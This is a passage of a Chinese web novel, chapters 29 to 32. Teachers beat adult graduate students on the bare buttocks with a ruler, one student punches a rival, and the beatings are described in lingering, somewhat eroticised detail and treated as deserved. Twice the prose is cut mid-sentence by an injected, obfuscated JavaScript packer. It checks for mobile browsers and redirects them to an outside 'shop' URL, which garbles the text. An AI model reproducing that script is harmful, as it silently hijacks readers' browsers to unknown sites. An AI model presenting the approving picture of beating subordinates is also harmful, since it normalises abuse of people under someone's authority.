秦昭阳眼皮一垂,目光从他的脸落到戒尺上,细看之下,那刻着半棵柏树的扁长木条还因为小孩双手轻微颤抖而略有些不稳。不过,对于柏阅冬来说,做到这份上,已经很不错了。 到底是娇生惯养又骄傲得目中无人的小孩,也不知道将来什么人治得住他。 秦昭阳取过戒尺,同样不发一言。可柏阅冬却像是得到了什么指令似的,脸红得更厉害了。 柏阅冬直起身子,刚送出去戒尺的两手分明空空,却重得抬不起来,仿佛绑着透明的沙袋,非要他用尽全身力气才能动一动。 安静的办公室里,轻巧的一声“咔哒”响起,柏阅冬腰间棕色的皮带松了束缚,亮晶晶的方形扣虚弱地垂挂在裤头。再接着,宽松的羊毛面料斜纹裤便落到了大腿处,春天残留的寒气冰得他不由自主打了一个冷噤。 与此同时,庄遂平打开了纪慎办公室的门:“老师。” 29. 第 29 章 柏阅冬从前全没挨过打,来这里读书不到一年,屁股却开花了好几回,也不知这是个什么福地?他两手撑在桌面上,白皙挺翘的臀部自然往后抬起,心中不由得想,他师父下手,到底是比纪慎要轻一些的。 秦昭阳手执戒尺,以另一端敲了敲小孩的屁股,只见白**团轻轻颤动,像极了新鲜的水豆腐,不禁道:“柏阅冬,你是不是胖了啊?” “啊?”柏阅冬下意识反问,随后立刻抬手捂住屁股,跟个黄花大闺女似的十分害羞,“老、老师你……” “问你话呢,是不是长胖了?” 柏阅冬很不好意思,哪有人在老师面前光着屁股说这种事的?“冬天本来就长肉嘛!” 柏阅冬年纪小,又是南方人,身材颇为清瘦,就算是长了肉也跟胖不搭边。秦昭阳饶有趣味地打量他两眼,似乎很享受小孩窘迫的模样,却又猝不及防抓着他的手往桌上一按,朝着那白**团“啪”一声抽了下去。 “啊!”太突然了,柏阅冬猛然叫出了声。 “撑好,先算你去郑旭面前多嘴多舌的账,三十下,不许吭声,再有下一次,直接打死你!” 秦昭阳的命令下得粗暴,柏阅冬却不如何觉得委屈,只调整了下姿势,乖乖撑好,道:“知道了,以后不去他面前晃悠了。” “那你打算去别人面前晃悠?” 柏阅冬眼珠子一转,撇撇嘴道:“都不去,行了吧。” 秦昭阳在他身侧白了一眼,掂量掂量戒尺,对准臀尖,“啪”地击打下去,白皙的皮肉被打得往下一凹,又马上恢复原状,如同新鲜的水煮蛋剥了壳,用筷子或勺子敲一敲,便如此晃动起来,带着水纹似的荡漾感。只是那肉团恢复原状后,更是缓缓渗出粉色红点,越来越多,直至连成一道绯色尺痕,平直横亘在两瓣臀尖上。 因为师父说了不许吭声,柏阅冬疼也只是皱紧了眉头,一声“嘶”还没到嘴边就被咽了回去,一副乖觉受罚的模样。 “啪!”紧贴着第一道尺痕,第二尺落在臀尖处下方,同样打出了明显的伤痕。柏阅冬疼得屁股一缩,好几秒过后才缓缓放松下来。 “啪!”秦昭阳手握戒尺,如法炮制第三尺,不紧不慢地施罚,似乎有意让小孩慢慢感受戒尺上身的疼。 “啪!” “啪!” …… “老师,我来了。”庄遂平一进办公室便关了门,顺手反锁。 纪慎靠在椅背上,姿态神情都非常放松:“我有些事要问你。” 庄遂平走到办公桌前,站得直直的:“老师请问。” 纪慎的手指在桌面上随意敲着:“你知道郑旭?” 庄遂平不敢揣测老师的意思,只能如实回答:“前两日在会场见到郑师兄跟在老师身边,也听别人说了一些郑师兄的事。” 纪慎轻笑出声。那几乎是他标志性的笑,笑里带着轻蔑的质疑,仿佛在说,所有的事情我都早知道了,你还在这里糊弄我? 庄遂平对这笑是很熟悉的,每次纪慎这样笑,他不是挨骂就是挨打,从无例外。因而此时听到那带笑的气音,身后两团肉已隐隐作痛了。 果不其然,纪慎追问道:“听别人说,哪个别人?说了什么事?” 庄遂平表情都变了,回忆当时和柏阅冬去打听,为了不让郑旭知道,都是找本科生问的,问了七八个人才凑出那么一点信息,现在让他回答这个问题,他怎么可能回答得上来? 纪慎又笑了一下:“不是你听别人说的吗?别人说你师兄的事,你却不知道对方是谁?” “老师,”庄遂平咽了口唾沫,似乎吞咽困难,“我、我是和阅冬一起……” “砰!”纪慎的手重重拍在桌上,吓得庄遂平立时屏住了呼吸。 “开始把事情往柏阅冬身上推了?” 庄遂平眨了眨眼,好像没听明白老师的意思,却又好像明白了。 “啪!”戒尺责至三十下,柏阅冬的屁股通红一片,火辣辣地疼,像是里面烧着一团火,又像是被生生揭掉了一层皮。柏阅冬咬牙忍到这个时候,终于哼哼了两声:“老师,我可以喊了吗?” 秦昭阳没把戒尺放下,却也给了他喘息之机:“喊吧。” 柏阅冬手往身后一摸,烫得能煎鸡蛋了,当即长大了嘴巴,可又觉得都这会了,喊那两声有的没的,也太丢人了,干脆全往肚里吞了,只是抽噎两下,表示自己很委屈。 秦昭阳到底是他亲师父,看他这模样,挖苦道:“哟,柏大少爷挨几下戒尺,哭鼻子了?” 柏阅冬扭头看着师父,理直气壮道:“说错了!” “我哪里说错了?你不是要哭鼻子了?” “我不是柏大少爷!”柏阅冬又吸了下鼻子,看上去更像准备掉眼泪了。秦昭阳一懵,心想,他不会开始介意别人说他是少爷了吧? “我是,”柏阅冬小眼神一飞,娇气道,“柏二少爷。” “咳咳咳……”秦昭阳差点被自己的口水呛到,他就不该相信柏阅冬有正常人的脑回路! “本来就是啊,我还有大哥呢!” “你大哥,咳,”秦昭阳拼命压下喉咙的瘙痒感,“知道你这么大还在被老师打屁股吗?” “我们家不打小孩的,我是来这里读书才挨打的。”说着还委屈了起来。 秦昭阳忍不住笑:“那你自己说,是为什么挨打?” 当然是因为你们凶啊!柏阅冬心中如此回答,嘴上却道:“是我做错事了。” “知道是自己做错事还不算太坏,撑好,接着打。” 柏阅冬没想到还有第二轮,立刻睁大了眼睛:“为什么还打?” “刚刚打的是你到郑旭跟前耀武扬威,现在打的是你背后议论师长,冤了你了?!” 柏阅冬眉心一蹙,小嘴一撅,光亮的脑门上写着大大的“冤枉”二字,可一开口却半点怨气都没有:“没有,不冤,我知道错了。”说着,还自觉地转过了身,摆出了受罚的姿势。 “还是三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590828|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十,别没规矩。”秦昭阳说罢,抬手落尺,清脆的责打声响彻整个办公室。 经过方才片刻的沉淀,前一轮责打的火辣感消散了些许,可如今戒尺再落下,却如同在平静的海面掀起滔天巨浪,把所有的疼痛都一并搅了起来,说是一尺顶十尺也不为过。 大约是太疼了,柏阅冬没忍住轻轻叫唤了一声,叫唤完了还乖觉认错:“老师,我错了,但是好疼……” 秦昭阳瞧了一眼他那个屁股,臀尖至臀腿一片通红,新打上去的一尺不过片刻,就没入了原先的伤痕中,再分不出新伤旧伤,想来伤得不轻了。 “疼就喊,但别乱动,听见没有?” “是。” 秦昭阳又缓了两秒,才抬起戒尺“啪”地抽了下去,柏阅冬立刻“啊”一声叫了出来,只是仍好好地维持着受罚的姿势,不敢妄动。 秦昭阳都有些不忍心了,这个小孩,说他不乖吧,他还挺听话的,可你说他乖吧,他又能给你捅几百个篓子出来。秦昭阳摇摇头,继续一板一眼地责打,“啪啪啪”地在小孩满是伤痕的屁股上落下戒尺。 庄遂平想,阅冬那么优秀,在会议上读了论文,所有人都夸他,连老师也不吝惜赞美,这样的学生,是不应该和不好的事情沾上关系的。 但是,事实就是阅冬去打听的呀! “老师,我没有把事情往阅冬身上推,我也去打听了,我们俩一起去的,我也不认识……” “你打听郑旭做什么?”纪慎似乎对真相并不感兴趣,只咄咄逼人地追问着。 “我、我看郑师兄跟在老师身边,我又不认识,所以就……” “你不认识,就不能自己去认识?背地里瞎打听什么?!” 可是,您一直带着师兄啊,我有什么机会去认识呢?一阵深重的疲惫感袭击了庄遂平,让他无力喘息,再也不想解释:“老师,我知道错了。” 殊不知,纪慎还没打算就这样放过他,仍继续问:“你打听就打听了,为什么让阅冬去给你出头?” 阅冬去给我出头?庄遂平身心俱疲,又掉进了茫茫大雾之中:“老师,我不明白。” 纪慎又笑了,似乎在嘲讽他装傻:“现在才说不明白不会太晚吗?阅冬在郑旭面前说了些不好听的话,左不过是没发过文章的事,要不是你,他也不会做这样的傻事吧?” 庄遂平压根不知道这事,这会一听才懵懵懂懂明白过来,却更觉好笑,是不是在老师眼里,只要涉及到他的事情,都一定是他的错? 庄遂平眼眶泛酸:“老师,我承认,看到郑师兄在老师身边,我是很好奇,跟阅冬一起去打听了郑师兄的事。知道他没有发过文章,我也有一些骄傲,甚至不满老师时时带着他,但是老师说的事情,我不知道,如果老师今天要为这件事罚我,我不认。” “你觉得跟你没有关系是不是?” “是。” “好,”纪慎一指门口,“那你去把柏阅冬带过来,让他为自己做过的事承担后果。” 30. 第 30 章 柏阅冬豆腐似的嫩屁股一片通红,肿起一指多高,皮肤肉眼可见地变薄了,似乎再碰一碰就会破掉,鲜红的血液就要争相涌出。秦昭阳看着这个屁股,说不上心疼,但想到是自己打的,有点怀疑自己是不是残暴过度了,赶紧拍拍小孩的腰:“好了,起来,以后别给我闯祸啊!” 柏阅冬“嘶嘶”地倒抽凉气,爪子伸到屁股后面,虚虚地捂着,慢慢起身来:“要疼死了……” 秦昭阳白眼一翻,想瞪他又舍不得,紧着眉头嗔怪:“自作自受,是不是活该?” “嘶……嗷嗷嗷……哦……”柏阅冬一边怪叫一边小心翼翼地提裤子,五官扭得比《西游记》里头的妖怪还夸张,“其实……嘶——师父好好跟我说我也会记住的,不一定要动手嘛,您也费劲不是?” “你还知道我费劲呢?”秦昭阳哭笑不得,“挺心疼你师父我?少闯点祸比什么都强!” 柏阅冬扁扁嘴,十分为难的样子:“也不是我想闯祸啊!实在是……有些事情看不过去……” 秦昭阳叹气:“你们这个年纪,年轻气盛是应该的,只要不过分,不算大事,但是人总得长大,你叫我一声师父,师父就不能让你就这么糊里糊涂地过了这几年,做学问要教你,做人么,能教一点是一点。” 柏阅冬不服气似的,眼珠子一转,道:“教书育人,还得严老师呢!” 秦昭阳笑出了声:“嫌弃我不如严老师了?你改叫人家师父去!” 柏阅冬磨磨蹭蹭的,总算是穿好了裤子:“您是不如人家,可也是我师父呀!我有什么办法?!” “行了,委屈你了才行吧?柏二少爷!”秦昭阳把戒尺往他手里一塞,“去给你纪老师认个错,说我打过了,他不会为难你的。” 柏阅冬拿了戒尺,背起包,不怎么看得出挨过打的样子:“那我先走了,徒儿改日再来给师父请安。” “省省吧,你少请点安我还能多活几年!” 此时纪慎办公室里,师生俩对峙了好几分钟,谁也没有说话。纪慎一瞬不瞬地盯着学生,一再用眼神重复自己的意思,庄遂平神情中满是恳求,恳求老师不要迁怒柏阅冬,也恳求老师不要这样苛责他,但是没有人在这场沉默中让步。 无形的滴漏在庄遂平耳边“滴滴答答”,一点一点搓磨他的心。 “老师,您不能这样。” “这样是什么样?”纪慎抬着头,眼中却分明是审视,“事情发生了,总该有人承担后果。一共就是你和柏阅冬两个人,不是你,那不就是柏阅冬了吗?” 庄遂平眼皮一眨一眨,说不出话来,沉默再次悄悄蔓延。正在庄遂平冥思苦想如何破局时,办公室门却被敲响了:“纪老师,我是柏阅冬。” 庄遂平猛然一惊,下意识地看向纪慎,纪慎却轻飘飘地移开了目光:“进来。” 门锁被转了一下,没有开。庄遂平听着那声响,后知后觉,忐忑上前,从里面打开了。 “遂平?”柏阅冬没想到他也在,解释道,“我来跟纪老师道个歉,很快就走,不打扰你们的。” 庄遂平眉头紧锁,很轻很轻地冲他摇了摇头,看得柏阅冬一头雾水。 门再次被关上,两个孩子都站在办公桌前,一个朴素而凝重,一个新潮而懵懂。 “纪老师,我来跟您道歉。” 纪慎垂眸轻笑,眼神晦暗不明:“怎么道歉道到我这里来了?” 明知故问!柏阅冬心里不服,却不能明说,只得装乖巧:“前几天在会场,我碰到郑旭师兄,对他说了一些不好听的话。我不尊重郑师兄,又骄傲自满,说话刻薄,我已经知道错了,师父今天教训我了,我来跟纪老师道歉,对不起!”说着还郑重地鞠了个躬。 “看来你师父没白教训你!” “嗯,我已经吃到教训了,下次我碰到郑师兄会再给他道歉的。”柏阅冬说着,还不忘澄清舍友,“但是纪老师,这件事跟遂平没有关系,您不要生他的气了。” “还真是同窗情深,既然如此,我且当作跟他没关系。”纪慎嘴角向上勾,却没什么笑意,“柏阅冬,你过来。” 柏阅冬没有多想,抬脚就往纪慎身边走,刚到他跟前,还没站定,人就被往下一按趴在了桌上,斜挎包还在身前,硌得他大腿根疼:“老师老师!纪老师!” 他嘴里的纪老师没应他,反倒是身后两团肉隔着裤子就被木条“啪啪啪”地抽了下来,原本胀痛不堪的屁股瞬间炸开熟悉的痛感,让他忍不住踢蹬起腿来,拼命求饶:“啊!老师!疼疼疼!师父已经打过了!好疼啊!!” 纪慎才不管他如何呼痛,一手按着他后腰,一手抓着戒尺“噼里啪啦”就对着那个屁股抽,没有任何美感,只有一股凶狠的劲,看得一旁的庄遂平眼睛都直了。 “老师!老师您别打阅冬!” “啪啪啪!”戒尺片刻不停,纪慎边打边道:“是谁的错谁就受罚,天经地义的事儿!” “啊!!老师,唔——” “老师,求您了,别打他!”庄遂平都快急哭了,口不择言喊起来,“是我的错!老师!是我的错!” 柏阅冬脑子“嗡嗡”响,一时间没反应过来发生了什么,只感觉到身后戒尺停了,再接着,纪慎便道:“柏阅冬,出去!” 柏阅冬眼角挂着一滴泪,扭头看看纪慎,又看看庄遂平,呆滞地趴着没有动。 庄遂平十分歉疚,如果他早点开这个口承了这顿打,柏阅冬也不会遭受无妄之灾。他上前来,扶起柏阅冬往门口走:“阅冬,你先回去吧。” 柏阅冬突然明白了,抓着他的手问:“那你呢?” “你别管了,先回去歇着吧。” 柏阅冬哪里肯?立马回头:“纪老师!真的不是庄遂平的错,这件事是我自作主张,逞一时口舌之快,我已经受到惩罚了,求您别怪罪遂平。” 纪慎没有说话,庄遂平却明白了老师的意思,推着柏阅冬往门口走:“回去吧,阅冬,我没事的。” 柏阅冬又不是没挨过纪慎的打?怎么可能没事?他眉头轻皱,满是担心地摇头,却根本拦不住庄遂平的动作。那扇门在他面前打开,他被推出去,门再次关上,这一切都像是古老的默片,潜藏着无数的没有言说的情绪。 可怜的遂平!柏阅冬似乎还不甘心,抬手要敲门,可最后,还是缓缓放了下来。 遂平是纪老师的学生,他永远也没办法插手人家师生的事。 柏阅冬长长地叹息一声,摸摸自己受苦受难的屁股,拖着沉重的步子离开了。 庄遂平万分自觉,推了柏阅冬出门便径直走到办公桌边,再没有任何分辩的意思,利落地褪了裤子,撑在桌上。明明是自甘受罚的姿态,却莫名有股倔强的意味。 纪慎并不在意,只站起身,揉了揉手腕,似乎在准备:“庄遂平,你今年多大了?” 撑在桌面上的手一紧,庄遂平咬牙道:“28了。” 那时候的研究生年纪都大,甚至有些本科生就这么大年纪,像柏阅冬这么小就读研究生的堪称奇观。可这么大年纪,还要接受这样的训诫,羞耻感更上一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590829|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,难堪得让人无法启齿。 “这么大个人,你觉得该打多少才能记住教训?” 庄遂平心头一紧,根本没办法回答这个问题。老师虽然问他,心中却早有判断,自然是打得越多教训记得越牢,可人都是趋利避害的,没有人喜欢挨打,这分明是要他违反本能,说出惊人的数字来。 “老师,”庄遂平一开口,声音止不住颤抖,“我知道自己有很多不足,做错了事,老师早有判决,该如何罚我都没有怨言,我、我愿意接受。” 虽然没说具体的数字,但也算让纪慎满意的回答。纪慎笑了一声,道:“好,你既愿意接受,就按我说的来。以后你犯错,无论大小,责打都以百为单位,错一出,是一百,错两处,打两百,你要是受得住,尽管闯祸胡来!” 这话不禁让庄遂平屁股一紧,这么久以来,他错在哪里都是老师说了算,若真有一天老师算出他犯了五六桩错,岂不是屁股都要被打烂? 庄遂平自嘲一笑,打烂他的屁股而已,老师又不会心疼。 可是他的心不知怎么的抽了一下,强忍着即将落下的热泪,道:“是,请老师责罚。” 戒尺迅速搭上他的臀,身后传来熟悉的声音:“打一百,自己数着,好好反省错在哪里。” “是。”话音刚落,戒尺就抽了上来,差点让庄遂平咬掉舌头,可纪慎不会给他时间调整状态,他只得一边咬牙忍耐疼痛一边用力撑住身体,同时默默数着落下的戒尺数:……七、八、九…… 戒尺下落很快,几乎一秒一下,“啪啪啪”地抽在那两团肉上,很快就将整个屁股打出一团凌乱的红痕。生硬的疼痛在身后蔓延,缓缓灼烧着身体,让脊背、额头各处渐渐渗出汗珠。 二十三、二十四、二十五……戒尺打得太快,庄遂平数着数,有点跟不上,还要分心忍耐疼痛,脸颊两侧咬肌凸起,鬓边淌下了一颗晶莹的汗珠。 纪慎一言不发,只一门心思教训他,看着戒尺“啪”地烙下的红痕,分明迅速肿了起来,他却觉得不甚得劲,仿佛没有将自己所有的力气用上,也没有让庄遂平吃到教训,看来该换块更厚实的板子来,最好一板子下去能严严实实盖住他两瓣屁股,两板子就能打肿。到那时,看他还敢不敢乱来?! 庄遂平疼得有点撑不住,膝弯有些软,额上汗珠顺着鼻梁往下滑落,却不知他在老师眼里还是个没吃到教训的模样,还在认认真真地数,六十三、六十四…… “啪啪啪”,戒尺把屁股打得肿起两层,可以说每一下都没有放水,结结实实地将纪慎的怒气击打至庄遂平的屁股上,让他不由得轻呼起来:“呃……” 七十二、七十三、七十四…… 八十八、八十九、九十…… 快了,快打完了,庄遂平额上满是青筋,如同熬刑一般受完了这一百尺,可想到以后还要这样熬,他没有一丝解脱感,只有无尽的恐惧。 “哐啷”一声,纪慎把戒尺往桌上一丢,道:“你尽管乱来,这戒尺打断了,我便让人做一块更大的板子,到时你才知道怕!” 其实一直都知道怕的,可是就算他说出来,老师也不会信吧。 庄遂平眨眨眼睛,湿答答的眼睫毛沉重无比:“学生不敢。” 纪慎不耐烦地坐下,指指门口:“出去。” 还没有穿裤子,就要被赶出去了,庄遂平知道老师不喜欢自己,拖着深红透紫的屁股走远了一点才开始往上提裤子。尽管疼痛难耐,却一声不敢吭,默默地整理好了衣服,而后弯腰道别:“老师再见。” 31. 第 31 章 难兄难弟各自趴在床上,庄遂平一脸呆滞,不知是不是疼的,柏阅冬摸着自己的屁股,想喊疼又不好意思,毕竟是他牵连了庄遂平,在人家面前喊疼实在过分了。 “遂平,你还好吗?” 庄遂平愣愣道:“我没事。” “对不起啊,我不知道纪老师会这样,明明是……唉,算了,以后我也不干这种蠢事了,省得我自己也挨打。” 话还没说两句,门口便传来钥匙转动的声音,柏阅冬扭头望去,果然就见刘巍思推开门进来了——他之前给了刘巍思一把寝室钥匙,方便他来串门。 可是为什么刘巍思也垂头丧气的? 柏阅冬跪起来,不敢让屁股碰到脚,问:“你怎么了?你也挨你老师打了?” 刘巍思似乎没注意到那个“也”字,也没发现他两个同学奇怪的姿势,闷闷地往柏阅冬床上一坐,哑声道:“我要有师弟了。” “什么师弟?” “我老师要收新学生了,下学期研一的。” 庄遂平的注意力被吸引了过来,歪头看着刘巍思。柏阅冬不解:“下学期的事,你怎么现在就知道了?” “今天听我大师兄说的,那个师弟家里好像很厉害的样子,爷爷奶奶爸爸妈妈都是教授还是什么的,研究物理还是化学,我不太懂,就听我师兄说他非要学文学,家里想给他找个好点的老师,就托我师兄找我老师来了。” 柏阅冬不甚在意:“这种人,来就来呗,估摸着没什么本事,你不用放在心上。” “可是,”刘巍思向后一倒,直接躺在了床上,“我今天听到大师兄和老师说什么衣钵传人的事,大概是要让师弟接老师的班。” “啊?” 他们才研一,老师们也还在能出成果的阶段,现在说衣钵传人之类的话为时尚早,可是刘巍思是严先生带在身边十几年的,吃住都在一处,说是亲儿子都不为过,现在说让别人接班? 柏阅冬挪到他身边来:“巍思,你是不是听错了?” 刘巍思摇了摇头。 柏阅冬想,怪不得他心情这样差。 “你别操心呀,说不定你那师弟很差,想接班都接不了。” “可问题就是他不差,是我们学校保送上来的。” “那,那严老师怎么说呀?” “不知道,”刘巍思摇摇头,“老师今晚和大师兄去吃饭了,是师弟他们家请的,可能要交代一些事情吧。” 好大的阵仗!柏阅冬胸口又窜出一簇火苗,烧得脑子一热:“巍思,你那个师弟叫什么?我倒要看看是何方神圣?” “阅冬!”庄遂平适时出声,打断了他。柏阅冬这才想起,他刚因为帮庄遂平出头搞成这个样子,可不能再牵连一个了。 刘巍思依旧摇头:“我还不知道他叫什么呢!我在家里烦得很,就来找你们说会话,晚些再回去。” 柏阅冬到底是有正义感,越想越气:“那个师弟就算了,来势汹汹的,可能严老师也挡不住,但是你大师兄怎么回事啊?再怎么样也要向着你啊,师弟还没进师门呢就胳膊肘往外拐!” “都是这个地方的人,从前就认识,有些关系吧,”刘巍思不免唏嘘,“我说到底,也是外地来的,除了老师,也没什么能依靠的人。” 他们三个,都是一样的境况,只是柏阅冬家境好,从没把师门放心上,要哪天他师父真伤他心了,他头一扭就回上海或是出国去,一点也不带怕的,但是刘巍思和庄遂平却不行。 庄遂平似乎有兔死狐悲之感,脑袋往枕头上一歪,眼前浮现出纪慎的身影来。 刘巍思在狭小的寝室里呆到八点多才耷拉着脑袋回去,刚到家严先生也回来了,他一时反应不过来,呆呆唤了一声:“老师。” 严先生将薄外套挂起来,提着那只颇为正式的黑色皮包往书房走:“你吃过饭没有?” 刘巍思只在柏阅冬那里蹭了半包饼干,心情低落什么也不想吃,恹恹道:“吃过了,老师呢?吃得好吗?” 话是问了,可刘巍思心头有一种奇怪的盼望,他盼着老师说不好吃,吃得不好,最好再说一点他们那家人的不是。他知道这种想法不对,但是他控制不住。 只是严先生似乎吃得很好,不住笑着点头:“还不错,不早了,你去歇着吧,今天那个小孩给了我一篇文章,说是想发,我给他看看。” 刘巍思心头“咯噔”一下,问:“这么早就要发文章了吗?” 严先生不以为意,笑道:“你本科时候也发了两篇呀!” 是这样没错,但是本科的时候他就跟着老师了呀!这个新师弟不是还没入门吗?刘巍思思绪翻涌,又道:“老师,我上周给您的文章,您还没给我看!” “你那个不急,我先看了这个。” “急的!”刘巍思眼睛一睁,差点就要上手抢老师手里的包,“我那个,是跟毕业论文相关的!” 严先生果然眉心一蹙:“毕业论文的选题你已经有眉目了?” 刘巍思抓住机会,忙点头:“对,我想写陶渊明诗文中的生命哲学。” 严先生思索片刻,道:“也可以,你这几天先列个提纲出来,老师给你捋一下思路。至于文章,不急在这几天。” 他的文章不急在这几天,那新师弟的文章呢?就急在今晚吗? 再没什么能拦住老师了,刘巍思看着老师往书房去,就在他心情再次低落至谷底时,严先生却停了下来,笑吟吟地问:“巍思,周六有什么事吗?” 刘巍思不明所以,摇头道:“没有。” “那就别出去了,你小师弟要来吃饭,老师做饭,让你们认识认识。” 小师弟,从老师口中说出来的小师弟,看来是真的了。刘巍思有一瞬间的失神,最后却只能点头。 “去歇着吧,看你累坏了。” 老师的语气一如既往地温和,但刘巍思却没感受到被关心的温馨,他笑了笑,转身回了房。 周六下午,刘巍思见到了他的小师弟姜新宇。姜新宇年纪也小,只比柏阅冬大一岁,方形脸白白嫩嫩的,一看就是娇生惯养的城市小孩,可刘巍思说不清是不是嫉妒心理在作祟,总觉得姜新宇眼角眉梢都透着一股精明算计的味道。 严先生做了四个菜,荤素搭配,见姜新宇来了就要盛饭:“新宇来啦,这是你师兄刘巍思。” 姜新宇很有眼力见,躬身打招呼:“老师好,师兄好,老师有什 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“你上次给我那篇文章我改了一下,你今天拿回去看看,有哪里不理解的再来问,找你大师兄也行,你们家和堂生相熟,你也不用那么拘谨。” 姜新宇忙点头:“谢谢老师,辛苦老师了,我回去一定好好看,争取早日跟上老师的脚步。” 刘巍思埋头吃饭,默默翻了个白眼,就你?早上跟上老师的脚步?做梦吧? 严先生也只是笑,道:“不用着急,慢慢来,我上次听你说你对魏晋一段感兴趣,有没有特别喜欢的文人?” 姜新宇小鸡啄米似的:“有,老师,我想研究陶渊明!” 这话一出,严先生和刘巍思都是一愣,空气都跟着停滞了片刻。 “怎么?不好吗?” “好是好,”严先生慢慢匀出笑来,瞧了一眼刘巍思,“只是你师兄已经研究陶渊明很久了,你们俩研究一样的,容易相互影响,老师指导起来也有些混乱。” 这已经是婉拒了,要是刘巍思,肯定马上就说换一个,可是姜新宇却道:“陶渊明是很有研究空间和价值的诗人,别说我和师兄了,就算再来几百号人也研究不完,我们各做各的,角度、思路都不一样,应该不会乱,您说是吧,师兄?” 姜新宇目光移了过来,刘巍思不能再躲,这是挑衅,他看出来了! “是啊,老师,”刘巍思直勾勾地盯着他,“反正我的毕业论文选题都定了,师弟想研究,就让他研究好了,只是研究陶渊明的人也不少,师弟可要出新出奇,不要鹦鹉学舌才好。” 严先生不至于听不出来他们话里的刀光剑影,忙笑着给他们夹菜:“胡说什么呢?谁一开始不是跟着学?慢慢的自然会有独特的见解,新宇你不用着急。” “嗯,我不着急,毕竟要跟着老师学一辈子呢!” 一辈子,刘巍思脑海中又闪过那个词,衣钵传人。 “活到老,学到老,但凡是好的都要学,不限于老师。” “是,老师,学生明白了。” 刘巍思心头堵得很,无力地夹了一块煎蛋塞进嘴巴里,什么味道也吃不出来。 32. 第 32 章 “巍思,你送新宇下去吧,正好你们年轻人多聊聊,相互了解了解。”吃过晚饭,又喝了茶,严先生有些累了,便使唤刘巍思去送人。 替老师送客向来是刘巍思的事,放平日,他一定立马站起来,又礼貌又周到地帮客人提包拿衣服,一路送到楼下,甚至校门。可是姜新宇也配让他送吗? 刘巍思垂着眼皮,懒洋洋地“嗯”了一声,径自起身往门口走:“走吧。” 话里连个称呼也没有。 姜新宇站起来,对严先生鞠躬:“老师,学生有空再来看您,您今晚交代的事,学生都记在心上了,回去会认真看书,仔细改文章的。” 这样的话,没有哪个老师听了是不高兴的。严先生不由自主露出笑来:“好,好,有什么不懂的,来问老师,问你师兄也行,回去路上小心些,替我跟你祖父母问好。” “好,老师放心,学生一定把话带到。”姜新宇规规矩矩地把客套话说够了才往门口走。刘巍思不耐烦地白了他一眼,催促道:“天都黑了,快点吧。” 姜新宇离开时脸上还是带笑的,转个弯迈下楼梯却变了脸:“刘师兄很不喜欢我?” 刘巍思虽没想到他会问得这么直接,但也早做好了接招的准备,迅速反问:“我为什么要喜欢你?” 姜新宇举重若轻,笑了一声:“我以后跟着老师学习,再怎么样,我们也是师兄弟,师兄这么不喜欢我,以后岂不是很难受?” 刘巍思加快脚步,“蹬蹬蹬”下楼:“师兄弟又怎么样?我跟大师兄一个月也见不上几次。别说师兄弟了,就算你跟着老师学习,也不是每天都来见老师,师兄师姐忙起来,一两个月都见不上一回老师呢!” “说到这个,”姜新宇腿脚也利索,紧跟刘巍思的步伐,“我也很好奇,刘师兄怎么是跟老师住在一起的?据我所知,刘师兄不应该有这么大的面子才对。” 这个说法让刘巍思有点不舒服,他斜眼睨着姜新宇:“你是不是觉得这个世界上所有的事情,都要用你所谓的面子来达成?” 姜新宇竟不觉得被冒犯,只是笑笑:“我不过有些疑惑,求师兄解惑而已,师兄怎么就急着跳墙了呢?” 急着跳墙,他妈的姜新宇在骂他!刘巍思怒火中烧,胸口起伏,一路走到宿舍区外才道:“姜新宇,你也说了我是你师兄,你嘴巴给我放干净点!” 姜新宇仍只是笑:“都怪我,平时说话嘴上没把门的,才第一次就把刘师兄给得罪了,师兄你大人有大量,别跟我计较。” 刘巍思“哼”了一声,扭过头去了。 白昼渐渐长了,天气也回暖不少,家家户户上灯的时间点,天空还没有黑透,也不似冬天一般寒气袭人。只是刘巍思竟一点都感受不到春天的温和。 姜新宇的威胁,比冬天严峻多了。 “刘师兄,我能不能冒昧问你一个问题?” 刘巍思心中“咯噔”一下,隐隐预感到那将是一个他不愿意面对和回答的问题。纵使做好了和姜新宇打持久战的准备,却还是要露怯了。 姜新宇没见他表态,也没有收回问题的意思,继续道:“你和老师住在一起,老师一定很看重你,我想,老师应该跟你说过传承衣钵的事吧?” 刘巍思脚步不知不觉间虚浮些许,老师没跟他直说过,但这么多年的陪伴和教导,说没有这个意思也是不可能的。更何况,以老师对他的偏爱,他就算在外面说他要接老师的衣钵,老师也只会高兴。 刘巍思深吸一口气,停下脚步,看着姜新宇,郑重道:“是,老师说过。” 姜新宇脸上的笑容一点没少,仿佛早就预料到这个回答:“那看来,老师要有两个传人了。” 两个传人,什么意思?刘巍思明显怔了一下,这话从姜新宇嘴里说出来,是老师答应过他什么吗?无论如何,姜新宇一定会是老师的传人吗? “不过,刘师兄不是本地人,以后应该也不会留在这里吧?传不传人的,也不好说。” 刘巍思看着眼前人胜券在握的神情,默默握紧了拳头。 姜新宇似乎说够了,手往兜里一揣,不紧不慢道:“就送到这里吧,刘师兄,回见。”说罢转身要走,可脚步还没踏出去,却被牢牢钳住了肩膀。姜新宇一愣,正要问什么,余光只见拳头挥来,脸上结结实实地挨了一下狠的,当即“啊”一声叫了出来。 刘巍思气血上脑,竟未觉不妥,不仅不停手,反而上前揪住姜新宇,再次挥拳相 